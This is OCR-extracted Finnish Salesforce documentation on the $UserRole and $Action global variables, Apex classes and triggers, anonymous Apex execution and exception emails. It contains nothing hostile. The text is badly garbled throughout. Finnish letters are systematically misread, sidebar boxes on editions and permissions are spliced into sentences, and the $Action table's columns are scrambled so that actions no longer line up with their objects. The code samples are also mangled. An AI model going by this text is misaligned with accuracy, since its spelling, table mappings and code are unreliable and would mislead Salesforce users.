</apex:pageBlock>

<apex:pageBlock title="My Content" rendered="{!$User.UITheme ==
'Theme3"'}">
// this is the classic theme
</apex:pageBlock>
</apex:page>

SUserRole

Kuvaus: Globaali yhdistamiskentan tyyppi, jota kaytetadn viitattaessa nykyisen kayttajan roolitietoihin.
Rooli-yhdistdmiskentat voivat viitata esimerkiksi nimeen, kuvaukseen ja tunnukseen.

Kaytto: 1. Valitse kenttétyyppi: SUserRole.

2. Valitse yhdistdmiskenttd, kuten $UserRole.Name.
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Esimerkki Alla oleva vahvistussdantokaava viittaa kayttdjdroolin nimeen ja vahvistaa, ettd mukautettu
vahvistussaannostd: Alennusprosentti-kenttd eiylita roolin sallittua enimmaisarvoa:

Discount Percent c > VLOOKUP ($ObjectType.Role Limits c.Fields.Limit c,

$ObjectType.Role Limits c.Fields.Name, $UserRole.Name)

Prosessi, kulku ja

. {!$UserRole.LastModifiedById}
Visualforce:

Vihjeita: e Nykyinen kayttdja on henkil, joka muuttaa tietuetta, joka kehotti lisddmaan oletusarvon tai
vahvistussdanndn tai suorittamaan muun ndita globaaleja yhdistamiskenttid kayttdvdn toiminnon.

e Kun Webistd tapaukseksi- tai Webistd liidiksi -prosessi on muuttanut tietuetta, nykyinen kdyttdja
onLiidin oletusomistaja tai Tapauksen oletusomistaija.

e Kun prosessi suorittaa ajoitettuja toimintoja ja prosessin kaynnistanyt kayttdja ei ole endd aktiivinen,
SUserRole viittaa tydnkulun oletuskayttdjdan. Sama patee myos tydnkulkusddntojen aikaan perustuviin
toimintoihin.

@ Note: Etvoi kdyttdd seuraavia $UserRole-arvoja Visualforce:ssa:

® CaseAccessForAccountOwner
® ContactAccessForAccountOwner
® OpportunityAccessForAccountOwner

® PortalType

KATSO MYOS:

Globaalin muuttujan $Action kayvét arvot
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Globaalin muuttujan $action kdyvat arvot

Apex-, Visualforce- ja Lightning-komponentit

Kaikki objektit tukevat perustoimintoja, kuten uusi, kloonaa, ndytd, muokkaa, luetteloi ja poista.

Globaali $Action viittaa myos toimintoihin, jotka ovat kaytettavissd useissa vakio-objekteissa.

Organisaatiollesi kdytettavissa olevat arvot saattavat olla erilaisia, riippuen kdyttamistasi

ominaisuuksista.

Seuraava taulukko sisdltda toiminnot, joihin voit viitata globaalilla $Action-muuttujallaja objektit,

joille voit suorittaa ndma toiminnot.

Arvo

Hyvaksy

Aktivoi
Lisda
AddCampaign

AddInfluence

AddProduct

AddToCampaign

AddToOutlook
AdvancedSetup

AltavistaNews

Peruuta
CaseSelect

ChangeOwner

Kuvaus

Hyvaksy tietue.

Aktivoi sopimus.
Lisdd tuote hintakirjaan.

Lisad jasen kampanjaan.

Lisdd kampanja mahdollisuuden vaikuttavien

kampanjoiden luetteloon.
Lisad tuote hintakirjaan.

Lisad yhteyshenkild tai liidi kampanjaan.

Lisad tapahtuma Microsoft Outlookiin.
Kéynnistd kampanjan lisamadritys.

Kaynnista

www.altavista.com/news/.

Peruuta tapahtuma.
Maaritd tapaus ratkaisulle.

Muuta tietueen omistajaa.
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Objektit

e Mainosryhmd
e Tapaus
e Tapahtuma

e Google-kampanja

e Avainsana
e Liidi
e Hakulause

e SFGA-versio
e Tekstimainos
Sopimus

Tuote2
Kampanja

Mahdollisuus

OpportunityLineltem

*  Yhteyshenkild
e Liidi
Tapahtuma
Kampanja

e Tili

e Liidi
Tapahtuma
Ratkaisu

e Tili

e Mainosryhma

e Kampanja

EDITION-VERSIOT

Kéytettavissa: Salesforce
Classicissa

Globaali
$Action-muuttuja on
kaytettavissa: kaikissa
Versioissa.

KAYTTJAOIKEUDET

Custom s-control -objektien,

kaavojen fai

Visualforce-sivujen

luominen, muokkaaminen

ja poistaminen:

e Sovelluksen
mukautusoikeus
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® Yhteyshenkilo

e Sopimus

e Google-kampanja
e Avainsana

e Mahdollisuudet
e Hakulause

e SFGA-versio

e Tekstimainos

ChangeStatus Muuta tietueen tilaa. e Tapaus

e Liidi
ChoosePricebook Muuta kdytettdva hintakirja. OpportunityLineltem

Kloonaa Kloonaa tietue. e Mainosryhms

e Omaisuus

e Kampanja

e Kampanjan jasen
e Tapaus

*  Yhteyshenkild

e Sopimus

e Tapahtuma

® Google-kampanja
e Avainsana

e Liidi

e Mahdollisuus

e Tuote

e Hakulause

e SFGA-versio

e Tekstimainos

e Mukautetut objektit

CloneAsChild Luo liittyva tapaus paatapauksen tiedoilla. Tapaus
CloseCase Sulje tapaus. Tapaus

Muunna Luo uusi tili, yhteyshenkild ja mahdollisuus liidin tiedoilla. Liidi
ConvertLead Muunna liidi kampanjajéseneksi. Kampanjan jasen
Create_Opportunity Luo kampanjan jaseneen pohjautuva mahdollisuus. Kampanjan jasen
Hylkaa Hylkad tapahtuma. Tapahtuma

Poista Poista tietue. e Mainosryhmé
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DeleteSeries

DisableCustomerPortal
DisableCustomerPortalAccount
DisablePartnerPortal
DisablePartnerPortalAccount

Lataa

Muokkaa

Poista sarja tapahtumia tai tehtavia.

Ota Asiakasportaalin kdyttdjd pois kdytosta.

Ota Asiakasportaalin tili pois kaytosta.

Ota Kumppaniportaalin kdyttdja pois kaytosta.

Ota Kumppaniportaalin tili pois kaytosta.

Lataa liite.

Muokkaa tietuetta.

4
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e Omaisuus

e Kampanja

e Kampanjan jasenten
e Tapaus

e Yhteyshenkild

e Sopimus

e Tapahtuma

e Google-kampanja

¢ Avainsana

e Liidi

e Mahdollisuus

e Mahdollisuuden tuote
e Tuote

e Hakulause

e SFGA-versio

e Ratkaisu

e Tehtdva

e Tekstimainos

e Mukautetut objektit

e Tapahtuma
e Tehtdvd
Yhteyshenkild
Tili

Yhteyshenkild

Tili
e Liite
e Asiakirja

e Mainosryhma

e Omaisuus

e Kampanja

e Kampanjan jasenten
e Tapaus

® Yhteyshenkilo

e Sopimus

e Tapahtuma

e Google-kampanja
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EditAllProduct
EnableAsPartner
EnablePartnerPortalUser
EnableSelfService
FindDup

FollowupEvent
FollowupTask

HooversProfile

IncludeOffline

GoogleMaps

GoogleNews

GoogleSearch

Luettelo

Apex-, Visualforce- ja Lightning-komponentit

Muokkaa kaikkia hintakirjan tuotteita.

Valtuuta tili kumppanitiliksi.

Ota yhteyshenkilo kdyttoon Kumppaniportaalin kdyttdjana.

Ota yhteyshenkild kdyttdon Itsepalveluportaalin kdyttajana.

Ndytd samanlaiset liidit.
Luo uusi seurantatapahtuma.
Luo uusi seurantatehtdva.

Ndyttdd Hoovers-profiilin.

Sisallyta tilitietue Connect Offline:ssa.

Hae osoite Google Maps -palvelun avulla.

Néytd www.google.com/news.

Néytd www.google. com.

Luetteloi objektin tietueet.
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® Avainsana

e Liidi

e Mahdollisuus

e Mahdollisuuden tuote
e Tuote

e Hakulause

e SFGA-versio

e Ratkaisu

e Tehtdvd

e Tekstimainos

e Mukautetut objektit

OpportunityLineltem
Tili

Yhteyshenkild
Yhteyshenkild
Liidi

Tapahtuma
Tapahtuma

e Tili

e Liidi

Tili

e Tili

*  Yhteyshenkild
e Liidi

e Tili

e Yhteyshenkilo
e Liidi

e Tili

®  Yhteyshenkild

e Lidi

e Mainosryhma
e Kampanja

e Tapaus
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® Yhteyshenkilo
e Sopimus

e Google-kampanja

e Avainsana

e Liidi

e Mahdollisuus
e Tuote

e Hakulause

e SFGA-versio
e Ratkaisu

e Tekstimainos
e Mukautetut objektit

LogCall Lisad puhelu lokiin. Toiminto
MailMerge Luo yhdistdmisposti. Toiminto
ManageMembers Avaa Kayttdjien hallinta -sivu. Kampanja
MassClose Sulje useita tapauksia. Tapaus
Yhdista Yhdista yhteyshenkil6itd. Yhteyshenkild
Uusi Luo uusi tietue. e Toiminto

e Mainosryhma
e Omaisuus

e Kampanja

e Tapaus

*  Yhteyshenkild
e Sopimus

e Tapahtuma

e Google-kampanja

e Avainsana

e Liidi

e Mahdollisuus
e Hakulause

e SFGA-versio
e Ratkaisu

e Tehtdvd

e Tekstimainos
e Mukautetut objektit

NewTask Luo tehtdva. Tehtava
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RequestUpdate Pyyda pdivitysta. *  Yhteyshenkild

e Toiminto

SelfServSelect Rekisterdi kayttdja Itsepalveluportaalin kayttajaksi. Ratkaisu
SendEmail Lahetd sahkoposti. Toiminto

SendGmail Avaa tyhja sahkoposti Gmailissa. *  Yhteyshenkils

e Liidi
Lajittele Lajittele hintakirjan tuotteet. OpportunityLineltem

Jaa Jaa tietue. Til

e Mainosryhma
e Kampanja

e Tapaus

® Yhteyshenkild
e Sopimus

® Google-kampanja
e Avainsana

e Liidi

e Mahdollisuus
e Hakulause

e SFGA-versio

e Tekstimainos

Ldhetd hyvdksyttdvaksi Lahetd tietue hyvaksyttavaksi. o il

e Toiminto

e Mainosryhma

e Omaisuus

e Kampanja

e Kampanjan jasenten
e Tapaus

*  Yhteyshenkild

e Sopimus

e Tapahtuma

® Google-kampanja

e Avainsana

e Liidi

e Mahdollisuus

e Mahdollisuuden tuote

* Tuote
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e Hakulause

e SFGA-versio
e Ratkaisu

e Tehtavd

e Tekstimainos

Vélilehti Kdyta objektin valilehtea. o Mainosryhms

e Kampanja

e Tapaus

e Yhteyshenkild
e Sopimus

e (Google-kampanja
e Avainsana

e Liidi

e Mahdollisuus
e Tuote

e Hakulause

e SFGA-versio

e Ratkaisu

e Tekstimainos

Tarkastele Tarkastele tietuetta. o Toiminto

e Mainosryhma

e Omaisuus

e Kampanja

e Kampanjan jasenten
e Tapaus

e Yhteyshenkild

e Sopimus

e Tapahtuma

e Google-kampanja

e Avainsana

e Liidi

e Mahdollisuus

e Mahdollisuuden tuote
e Tuote

e Hakulause

e SFGA-versio

e Ratkaisu

e Tekstimainos
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ViewAllCampaignMembers

ViewCampaignInfluenceReport

ViewPartnerPortalUser
ViewSelfService

YahooMaps

YahooWeather

KATSO MYOS:
Globaalit muuttujat

Apex-koodi

Apex Code -yleiskatsaus

Apex-, Visualforce- ja Lightning-komponentit

e Mukautetut objektit

Ndytd kaikki kampanjan jasenet. Kampanja
Ndytd kampanjat, joissa on vaikuttavien mahdollisuuksien Kampanja
raportti.

Naytd kaikki Kumppaniportaalin kayttdjat. Yhteyshenkild
Naytd kaikki Itsepalveluportaalin kayttajat Yhteyshenkild
Hae osoite Yahoo! Maps -palvelun avull. o Tl

e Yhteyshenkild
e Lidi

Naéytd http://weather.yahoo.com/. Yhteyshenkilo

Apex-koodi on vahvasti kirjoitettu objektiperusteinen ohjelmointikieli, jonka avulla kehittdjat voivat EDITION-VERSIOT

suorittaa Force.com-palvelimessa kulkujen ja tapahtumien hallintalausekkeita ja Force.comAPI
-kutsuja. Apex-kielen syntaksi muistuttaa Java-ohjelmointikieltd ja toimii tietokantoihin tallennettujen

Kéytettdvissd: Salesforce

proseduurien tavoin. Kielen avulla kehittdjét voivat liittda liiketoimintalogiikan useimpiin Classicissa ja Lightning
jarjestelmdtapahtumiin, kuten painikkeiden napsautuksiin, liittyvien tietueiden pdivityksiin ja Experiencessa
Visualforce-sivuihin. Apex-koodi voidaan kdynnistda Web-palvelupyynnon tai objektien kdynnistimien

Kéytettdvissd Enterprise

avulla.
Edition-, Performance
Apex voidaan tallentaa alustaan kahdessa muodossa: Edition-, Unlimited Edition-,
e [uokka on mallitai suunnitelma, josta Apex-objektit luodaan. Luokat koostuvat muista luokista, Developer Edition- ja
kdyttdjan madrittamistd metodeista, muuttujista, poikkeustyypeistd ja staattisesta alustuskoodista. Database.com Edition
Kirjoita Maaritykset-valikon Pikahaku-kenttddn Apex—Iluokat javalitse Apex-luokat. -versioissa

Lisdtietoja on kohdassa Apex-luokkien hallinta sivulla 53.

e Kdynnistin on Apex-koodi, joka suoritetaan ennen tiettyjen DML-tapahtumien suorittamista tai
tapahtumien suorittamisen jalkeen. Komentosarja voidaan suorittaa esimerkiksi ennen kuin objektitietueet siirretadn tietokantaan
tai tietueiden poistamisen jalkeen. Kdynnistimet tallennetaan Salesforceen metadatana. Luettelo organisaatiosi kaikista kdynnistimistd
[6ytyy Mddritykset-valikon Apex-kdynnistimet-sivulta. Lisdtietoja on kohdassa Apex-kdynnistimien hallinta sivulla 54.

Apex suoritetaan yleensa jarjestelmdympadristossd, eli kayttdjan kayttdoikeuksia, kenttdtason suojausta ja jakosadntéja ei huomioida

koodin suorituksessa.

Ainakin 75 prosenttia Apex-koodista on oltava yksikkétestien kasittelemid ennen kuin voit ottaa koodisi kdyttédn tuotantoymparistdissa.
Myos kaikilla kdynnistimilld on oltava jonkin verran testauskattavuutta. Lisdtietoja on kohdassa Apex-yksikkotestit sivulla 289.

Kun olet luonut luokkasi, kdynnistimesi ja testisi, toista suoritus Developer-konsolin avulla.
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@ Nofte: Voitlisdtd, muokata tai poistaa Apex-koodia Salesforce-kdyttoliittymdastd vain Developer Edition -organisaatiossa, Salesforce
Enterprise Edition -kokeiluorganisaatiossa tai sandbox-organisaatiossa. Voit tehdd muutoksia Salesforce-tuotanto-organisaatiossa
Apexiin vain kdyttamalla Metadata API -kutsua deploy tai Force.com IDE- tai Force.com Migration Tool -tydkalua. Force.com
IDE ja Force.com Migration Tool ovat Salesforcen tarjoamia ilmaisia tyokaluja sen kayttdjien ja kumppanien tueksi, mutta ne eivat

ole osa sen palvelua siind merkityksessa kuin Salesforce-palvelun paatilaussopimus ilmaisee.

Lisdtietoja kielen syntaksista ja Apex-toiminnon kdyttdmisesta on Force.com Apex Code Developer's -oppaassa.

Apex Developer Guide ja kehittdjien tyokalut

Apex Developer Guide on Apex-ohjelmointikielen kaikenkattava viiteopas. Apex Developer Guide selittad myds kielen syntaksin, miten
kutsua Apexia, kuinka toimia sen rajoitusten kanssa, miten kirjoittaa testejd ja paljon muuta. Voit kirjoittaa Apex-koodia useilla Salesforcen
ja kolmansien osapuolten tyokaluilla.

Apex Developer Guide

Kirjoita Apex-koodia seuraavilla tydkaluilla:

Force.com:in kehittajan konsoli
Force.com IDE -liitdanndinen Eclipselle

Salesforce-kayttoliittyman koodieditori

Loydat kolmansien osapuolten kehittdmid Salesforce IDE:ita Internetista.

Apex-luokkien mdadrittdminen

Apex-luokat tallennetaan Salesforceen metadatana.

@ Nofte: Voit lisdtd, muokata tai poistaa Apex-koodia Salesforce-kdyttoliittymdstd vain Developer

Edition -organisaatiossa, Salesforce Enterprise Edition -kokeiluorganisaatiossa tai
sandbox-organisaatiossa. Voit tehdd muutoksia Salesforce-tuotanto-organisaatiossa Apex:iin
vain kdyttamalld Metadata API-kutsua deploy tai Force.com IDE-tai Force.com Migration
Tool -tyokalua. Force.com IDE ja Force.com Migration Tool ovat Salesforcen tarjoamia ilmaisia
tyokaluja sen kayttajien ja kumppanien tueksi, mutta ne eivat ole osa sen palvelua siind
merkityksessa kuin Salesforce-palvelun paatilaussopimus ilmaisee.

Luokan luominen:

1.

Kirjoita Mdaritykset-valikon Pikahaku-kenttddn Apex-Iuokat ja valitse Apex-luokat.

2. Napsauta Uusi.

3. Napsauta Version Settings (Versioasetukset) madrittdaksesi talle luokalle kdytettavan Apex-

ja APl-version. Jos organisaatiosi on asentanut hallittavia paketteja AppExchange-palvelusta,
voit myds madrittad, mitd kunkin hallittavan paketin versiota kaytetadn taman luokan kanssa.
Kayta oletusarvoja kaikille versioille. Tama liittda luokan viimeisimpaan Apex- ja APl-versioon ja
kunkin hallittavan paketin viimeisimpaan versioon. Jos haluat kayttdd komponentteja tai
toimintoja, jotka eroavat viimeisimmastd pakettiversiosta, voit maarittad hallittavan paketin
vanhemman version. Voit madrittad vanhemman Apex- ja API-version, kun haluat pitda jonkin
tietyn toiminnan.

Kirjoita luokan Apex-koodi luokkaeditoriin. Yksi luokka voi olla enintdan miljoona merkkia pitka,
pois lukien kommentit, testimetodit ja @i sTest:in kdyton aikana madritetyt luokat.
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Kéytettavissa: Salesforce
Classicissa

Kéytettdvissd Performance
Edition-, Unlimited Edition-,
Developer Edition-,
Enterprise Edition- ja
Database.com Edition
-versioissa

KAYTTJAOIKEUDET

Apex-luokkien
madrittdminen,
muokkaaminen,
poistaminen,
suojausasetusten
madrittdminen,
versioasetusten
madrittdminen,
riippuvuuksien
tarkasteleminen ja testien
suorittaminen:

e Apex-laadintaoikeus
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5. Voit tallentaa muutokset ja palata luokan lisdtietondyttddn valitsemalla Save (Tallenna) tai tallentaa muutokset ja jatkaa luokan
muokkaamista valitsemalla Quick Save (Pikatallennus). Apex-luokka on kddnnettéava oikein, ennen kuin luokka voidaan tallentaa.

Kun luokat on tallennettu, muut Apex-koodit, kuten kdynnistin, voivat kutsua niita luokkametodien tai muuttujien avulla.

@ Nofe: Luokat talletetaan mddrattyjen Apex- ja APl-versioiden asetuksilla, mikd parantaa yhteensopivuutta aiempien versioiden
kanssa. Jos Apex-luokka viittaa asennettujen hallittavien pakettien komponentteihin, kuten mukautettuihin objekteihin, kunkin
hallittavan paketin version asetukset, joihin luokka viittaa, tallennetaan my®os. Lisaksi luokkien mukana tallennetaan isvalid-lippuy,
jonka arvo on true, elleivat riippuvaiset metatiedot muutu luokan kdantamisen jalkeen. Kun luokassa kdytettyja objektien nimia
tai kenttid muutetaan, objektin tai kentdn kuvausta muokataan tai tatd luokkaa kutsuvaan luokkaan tehddan muutoksia,

isValid-lipun arvoksitulee f£alse.Kun kdynnistin tai Web-palvelu kutsuu luokkaa, koodi kddnnetaan uudelleen ja kayttdja
saa ilmoituksen, jos siind ilmenee virheitd. Jos virheitd ei ole, i svalid-lipun arvoksi asetetaan true.

KATSO MYOS:
Apex-luokkien hallinta
Apex-luokkien tarkasteleminen

Apex-version asetusten hallinta

Apex-kdynnistimien mdadrittdminen

Apex-kdynnistimet tallennetaan sovellukseen metatietoina sen objektin kohdalle, johon ne liittyvat.

EDITION-VERSIOT
@ Nofe: Voit lisdtd, muokata tai poistaa Apex-koodia Salesforce-kdyttoliittymdstd vain Developer

Edition -organisaatiossa, Salesforce Enterprise Edition -kokeiluorganisaatiossa tai

sandbox-organisaatiossa. Voit tehdd muutoksia Salesforce-tuotanto-organisaatiossa Apex:iin
vain kdyttamalld Metadata APl -kutsua deploy tai Force.com IDE-tai Force.com Migration
Tool -tyokalua. Force.com IDE ja Force.com Migration Tool ovat Salesforcen tarjoamia ilmaisia

tyokaluja sen kdyttdjien ja kumppanien tueksi, mutta ne eivdt ole osa sen palvelua siind
merkityksessa kuin Salesforce-palvelun paatilaussopimus ilmaisee.

Siirry haluamasi objektin hallinta-asetusten Kdynnistimet-osioon nahdaksesi sen kdynnistimet.

o Vihje: Etvoiluoda kaynnistintd Salesforce-kayttoliittymassa vakio-objekteille Liite,
Sisdltdasiakirja ja Huomautus. Luo kdynnistin ndille objekteille kdyttamalld kehitystyokaluja,
kuten Developer-konsoli tai Force.com IDE. Voit my6s kdyttda Metadata APl:a.

Napsauta Kdynnistimet-luettelosta Uusi.

Napsauta Version asetukset maarittaaksesi talle kdynnistimelle kdytettdvan Apex- ja APl-version.
Jos organisaatiollesi on asennettu hallittavat paketit AppExchange-sovelluksesta, voit myos
maddrittdd, mitd kunkin hallittavan paketin versiota kdytetadn taman kdynnistimen kanssa. Kayta
oletusarvoja kaikille versioille. Tamd liittad kdynnistimen viimeisimpdan Apex-ja APIl-versioon ja
kunkin hallittavan paketin viimeisimpdan versioon. Jos haluat kdyttad komponentteja tai
toimintoja, jotka eroavat viimeisimmastd pakettiversiosta, voit madrittaa hallittavan paketin
vanhemman version.

Napsauta Apex-kdynnistin ja valitse On aktiivinen -valintaruuty, jos haluat, ettd kaynnistin
kddnnetaan ja otetaan kayttoon. Ald valitse tétd valintaruutua, jos haluat ainoastaan tallentaa
koodin organisaation metatietoihin. Tamd valintaruutu on merkitty oletuksena.

Kéytettdvissd: Salesforce
Classicissa ja Lightning
Experiencessa

Kéytettdvissd Performance
Edition-, Unlimited Edition-,
Developer Edition-,
Enterprise Edition- ja
Database.com Edition
-versioissa

Vakio-objektit, kampanijat,
tapaukset ja séihkopostit

eivdt ole kaytettavissa
Database.com-versiossa.

KAYTTJAOIKEUDET

Apex-kdynnistimien

madrittdminen:

e "Apex-sovellusten
luominen"

Kirjoita Tekstiosa-kenttdan kaynnistimen Apex-koodi. Yhden kdynnistimen enimmaispituus on miljoona merkkia.
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Maaritd kdynnistin seuraavaa syntaksia kayttaen:

trigger TriggerName on ObjectName (trigger_ events) {
code block

: -

jossa trigger events voiolla pilkuilla erotettu luettelo, joka sisdltdd seuraavia tapahtumia:

® Dbefore insert

® before update

® before delete

® after insert

®* after update

® after delete

® after undelete.

Note: Toistuvan tapahtuman insert-, delete-tai update-toiminnon laukaisema kdynnistin aiheuttaa suorituksen
aikaisen virheen, kun kdynnistinta kutsutaan joukoittain Force.com APl:sta.

6. Napsauta Tallenna.

@ Note: Kdynnistimien mukana tallennetaan isvalid-lippu,jonkaarvoon true,elleivét riippuvaiset metatiedot ole muuttuneet
kdynnistimen kdantamisen jalkeen. Kun kdynnistimessa kdytettyja objektien nimid tai kenttid muutetaan tai objektin tai kentan
kuvausta muokataan, i svalid-lipun arvoksitulee false, kunnes Apex-kaantdja kasittelee koodin uudelleen.
Uudelleenkadntdminen tapahtuu, kun kdynnistin suoritetaan tai kun kayttdja tallentaa kaynnistimen uudelleen metatietoihin.

Jos hakukentté viittaa poistettuun tietueeseen, Salesforce tyhjentaa hakukentan arvon oletusarvoisesti. Voit myds paattaa olla
poistamatta tietueita, jos ne ovat hakusuhteessa.

KATSO MYOS:
Apex-kaynnistimien hallinta

Apex-version asetusten hallinta

Anonyymin Apex-koodin suorittaminen

Developer-konsoli sallii sinun suorittaa Apex-koodia luodaksesi virheenkorjauslokeja, jotka kattavat tietyn sovelluksen logiikan.

Tarvittavat kdyttooikeudet

Anonyymin Apex-koodin suorittaminen: Apex-laadintaoikeus

Developer-konsolin Execute Anonymous Apex (Suorita anonyymia Apex-koodia) -tyokalu suorittaa Apex-koodin, jonka syotat
ExecuteAnonymous-parametrin avulla ja luo suorituksen tulokset sisdltavan virheenkorjauslokin.

Varoitus: Jos kutsut luokan, joka sisaltdd avainsanan testMethod, kaikki testimenetelman DML-vaitteet suoritetaan. Tama
saattaa lisatd organisaatioosi epatoivottuja tietoja.

1. Napsauta Debug (Virheenkorjaus) > Open Execute Anonymous Window (Avaa anonyymin koodin suoritusikkuna) avataksesi
Apex-koodin syéttoikkunan.
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Enter Apex Code B

Integer intl = 0;

void myProcedurel () {
myProcedurez () ;

H

void myProcedure2 () {
intl++;

H

myProcedurel () ;

Openlog | Executs | Execute Highlighted

Sy6ta suoritettavaa koodia Syotd Apex-koodia -ikkunaan tai napsauta ! avataksesi koodieditorin uudessa selainikkunassa. Avaa
luotu virheenkorjausloki automaattisesti suorituksen jalkeen valitsemalla Open Log (Avaa loki)l.

@ Note: Etvoi kdyttad avainsanaa static anonyymissd koodissa.

3. Suorita koodia:
a. Jos haluat suorittaa kaiken ikkunassa olevan koodin, napsauta Execute (Suorita) tai CTRL+E.
b. Jos haluat suorittaa vain valitut koodirivit, valitse rivit ja napsauta Execute Highlighted (Suorita korostetut) tai CTRL+SHIFT+E.
4. Jos valitsit Open Log (Avaa loki), loki avataan automaattisesti lokien tarkastusohjelmassa. Kun koodi on suoritettu, virheenkorjausloki
ndytetadn Logs (Lokit) -vdlilehdessa. Kaksoisnapsauta lokia avataksesi sen lokien tarkastusohjelmassa.

5. Jos haluat suorittaa saman koodin uudelleen tekemdtta muutoksia, napsauta Debug (Virheenkorjaus) > Execute Last (Suorita
viimeinen). Jos haluat muokata koodia, napsauta Debug (Virheenkorjaus) > Open Execute Anonymous Window (Avaa
anonyymin koodin suoritusikkuna) avataksesi edellisen merkinnan Apex-koodin syottdikkunassa.

KATSO MYOS:
Developer Console -konsolin Debug (Virheenkorjaus) -valikko
Lokien tarkastusohjelma
Virheenkorjauslokien kdyttaminen
Lokit-valilehti
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Mité tapahtuu, kun ilmenee Apex-poikkeus?

Kun poikkeus ilmenee, koodin suoritus pysahtyy. Kaikki ennen poikkeusta kasitellyt DML-operaatiot
perutaan eikd niita sovelleta tietokantaan. Poikkeukset kirjataan virheenkorjauslokeihin. Salesforce
lahettda sahkopostitse tiedot kdsittelemattomista poikkeuksista, eli poikkeuksista, joita koodi ei
huomaa. Loppukayttdjd nakee virheviestin Salesforce-kdyttoliittymdssa.

Kasittelemattomien poikkeusten sdhkdpostit

Kun kasittelemdttomia Apex-poikkeuksia ilmenee, Idhetdmme sahkopostin, joka sisaltad
Apex-pinoseurannan ja asiakkaan organisaatio- ja kdyttdjatunnuksen. Raportin mukana ei palauteta
muita asiakastietoja. Kasittelemattomien poikkeusten sahkdpostit ldhetetddn oletusarvoisesti
kehittdjalle, joka on mdéritetty epdonnistuneen luokan tai kaynnistimen
LastModifiedBy-kentdssa. Lisdksi voit [dhetyttdd sahkoposteja Salesforce-organisaatiosi
kdyttdjille tai muihin sahképostiosoitteisiin. Madrita ndma sahkopostivalinnat kirjoittamalla
Médritykset-valikon Pikahaku-kenttddn Apex-poikkeuksien sdhképostit ja
valitsemalla Apex-poikkeuksien sahkdpostit. Voit myds madrittda Apex-poikkeusten sahkopostit
kdyttdmalld Tooling APl-objektia ApexEmailNotification.

@ Nofte: Jos synkronoidusti suoritetussa Apex-koodissa tapahtuu toinen samanlainen poikkeus,
seuraavat poikkeussahkdpostit estetddn ja vain ensimmainen sahkdposti lahetetadn. Taman
sahkdpostin eston avulla kehittdjan sahkopostilaatikko ei tdyty samasta virheestd johtuvista
sdhkoposteista. Jos Apex suoritetaan ei-synkronoidusti, mukaan lukien erd-Apex ja
@ future-metodit, samanlaisten poikkeusten sdhkoposteja ei estetd.

Kasittelemattomat poikkeukset kayttéliittymdssa

Jos loppukayttdja kohtaa Apex-koodissa ilmenneen poikkeuksen kdyttaessaan tavallista
kdyttoliittymad, han nakee virheviestin. Virheviesti sisaltaa tdmankaltaisen teksti.

Apex-, Visualforce- ja Lightning-komponentit

EDITION-VERSIOT

Kéytettdvissd: Salesforce
Classicissa ja Lightning
Experiencessa

Kéytettavissd: Performance
Edition-, Unlimited Edition-,
Developer Edition-,
Enterprise Edition- ja
Database.com Edition
-versioissa

KAYTTJAOIKEUDET

Madritykset-valikon
Apex-poikkeuksien
sdhkopostit -sivun
kayttdminen:
e Mdadaritysten
tarkasteluoikeus
Apex-koodin kirjoittaminen:
e Apex-laadintaoikeus

Tooling API:n kéyttdminen:
e APl kaytossd

Merchandise Edit

~ New Merchandise

Help for this Page &

Merchandise Edit Save | |Save & New | |Cancel

Error: Invalid Data.
Review all error messages below to correct your data.

Trigger.myMerchandiseTrigger: line 3, column 1
Information

Merchandise Name Owner  TestUser

[Esesers

Deseription  |/\unite erasers

Price I 150

Total Inventory I 120

Apex trigger myMerchandiseTrigger caused an unexpected exception, contact your administrator: myMerchandiseTrigger
execution of Beforelnsert caused by: System.NullPointerException: Attempt to de-reference a null object:

| = Required Information
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Apex-poikkeusten kasittely hallittavissa paketeissa

Kun luot hallittavan paketin Force.com AppExchange -palveluun, voit maarittda, ettd kayttdja saa EDITION-VERSIOT

sahkdpostiviestin, kun tapahtuu poikkeus, jota Apex ei sieppaa. Tallaisia poikkeuksia voivat heittda

e Visualforce-toiminto tai -vastaanottajametodi Kaytettévissa: Salesforce
Classicissa

e Web-palvelumetodi

e Kdynnistin Kaytettavissa Performance
Edition-, Unlimited Edition-,
Developer Edition- ja
Enterprise Edition
-versioissa

Lahetettavan sahkdpostin muoto on seuraavanlainen:

KAYTTJAOIKEUDET

Pakettien luominen:

e Force.com AppExchange
-pakettien luomisoikeus

Pakettien lataaminen:

* Force.com AppExchange
-pakettien
lataamisoikeus

Apexin luominen:

e "Apex-sovellusten
luominen"

Developer script exception from CLASSNAME Apex script unhandled trigger exception by
user/organization: USER_ID/ORG_ID EXCEPTION STRING STACK TRACE

Lahettaja: Apex Application? <infolsalesforce.com> Vastaanottaja: joeuser@salesforce.com
<joeuser@salesforce.com> Aihe: Developer script exception from Gack WS? Paivays: Mon,
26 Nov 2007 14:42:41 +0000 (GMT) (06:42 PST) Apex script unhandled trigger exception
by user/organization: 010x0000000rfPg/00Fx00000009ejj TestException.Test Exception?:
Gack WS exception Class.Gack WS?.gackTestException: line 4, column 11

Samasta virheestd voidaan tuottaa 60 sekunnin sisélla enintddn 10 viestid, joilla on sama aihe.
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Apex-luokkien hallinta

KAYTTJAOIKEUDET

Kéytettdvissa Performance Edition-, Unlimited Edition-, Developer Edition- ja Enterprise

Edition -versioissa Apex-luokkien

madrittdminen,

muokkaaminen,
Apex-luokka on mallitai suunnitelma, josta Apex-objektit luodaan. Luokat koostuvat muista luokista, poistaminen,
kdyttdjan maarittdmistd metodeista, muuttujista, poikkeustyypeistd ja staattisesta alustuskoodista. suojausasetusten
Kun luokat on tallennettu, luokkametodeja tai muuttujia voidaan kutsua muiden Apex-koodien madritiéminen,
avulla tai SOAP API:n (tai AJAX Toolkitin) kautta metodeille, jotka on madritetty versioasefusten

b i ) I madrittdminen,
webService-avainsanalla. riippuvuuksien

Apex-luokat-sivu sallii sinun luoda ja hallita Apex-luokkia. Avaa Apex-luokat-sivu kirjoittamalla tarkasteleminen ja testien
Maéritykset-valikon Pikahaku-kenttddn Apex-Iuokat javalitsemalla Apex-luokat. Jos suorlﬁomlnen:. .
haluat kayttoosi kaikki kehitystoiminnot, kiyta Developer-konsolia. *  Apex-laadintaoikeus

Luo Apex-luokkia napsauttamalla Apex-luokat-sivulta Uusi ja kirjoita Apex-koodisi editoriin.

Kehittajat voivat luoda luokkametodeja Force.com Apex Code Developer's Guide -oppaassa mdaritetyn syntaksin mukaisesti, mutta luokkia
voidaan luoda myos automaattisesti WSDL-asiakirjasta, joka on tallennettu paikalliselle kiintolevylle tai verkkoon. Jos luokka on luotu
WSDL-asiakirjasta, kehittdjat voivat kutsua ulkoista Web-palvelua Apex:istaan. Napsauta Apex-luokat-sivulta Luo WSDL-asiakirjasta
